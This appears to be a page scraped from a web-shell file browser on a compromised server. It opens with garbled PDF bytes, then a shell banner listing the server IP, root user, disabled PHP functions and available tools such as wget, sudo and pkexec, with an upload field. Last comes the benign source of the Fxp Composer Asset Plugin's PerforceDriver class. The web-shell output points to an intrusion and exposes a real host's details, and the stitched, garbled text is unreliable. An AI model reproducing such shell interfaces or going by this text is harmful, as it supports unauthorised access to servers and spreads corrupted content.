%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Repository/Vcs/ |
Upload File : |
<?php /* * This file is part of the Fxp Composer Asset Plugin package. * * (c) François Pluchino <francois.pluchino@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Fxp\Composer\AssetPlugin\Repository\Vcs; use Composer\Cache; use Composer\Repository\Vcs\PerforceDriver as BasePerforceDriver; use Fxp\Composer\AssetPlugin\Util\Perforce; /** * Perforce vcs driver. * * @author François Pluchino <francois.pluchino@gmail.com> */ class PerforceDriver extends BasePerforceDriver { /** * @var Perforce */ protected $perforce; /** * @var array */ protected $infoCache = array(); /** * @var Cache */ protected $cache; /** * {@inheritdoc} */ public function initialize() { $this->depot = $this->repoConfig['depot']; $this->branch = ''; if (!empty($this->repoConfig['branch'])) { $this->branch = $this->repoConfig['branch']; } $this->initAssetPerforce($this->repoConfig); $this->perforce->p4Login(); $this->perforce->checkStream(); $this->perforce->writeP4ClientSpec(); $this->perforce->connectClient(); $this->cache = new Cache($this->io, $this->config->get('cache-repo-dir').'/'.$this->originUrl.'/'.$this->depot); return true; } /** * {@inheritdoc} */ public function getComposerInformation($identifier) { $this->infoCache[$identifier] = Util::readCache($this->infoCache, $this->cache, $this->repoConfig['asset-type'], $identifier, true); if (!isset($this->infoCache[$identifier])) { $composer = $this->getComposerContent($identifier); Util::writeCache($this->cache, $this->repoConfig['asset-type'], $identifier, $composer, true); $this->infoCache[$identifier] = $composer; } return $this->infoCache[$identifier]; } /** * Get composer content. * * @param string $identifier * * @return array */ protected function getComposerContent($identifier) { $composer = $this->perforce->getComposerInformation($identifier); if (empty($composer) || !\is_array($composer)) { $composer = array('_nonexistent_package' => true); } return $composer; } /** * @param array $repoConfig */ private function initAssetPerforce($repoConfig) { if (!empty($this->perforce)) { return; } $repoDir = $this->config->get('cache-vcs-dir').'/'.$this->depot; $this->perforce = Perforce::create($repoConfig, $this->getUrl(), $repoDir, $this->process, $this->io); } }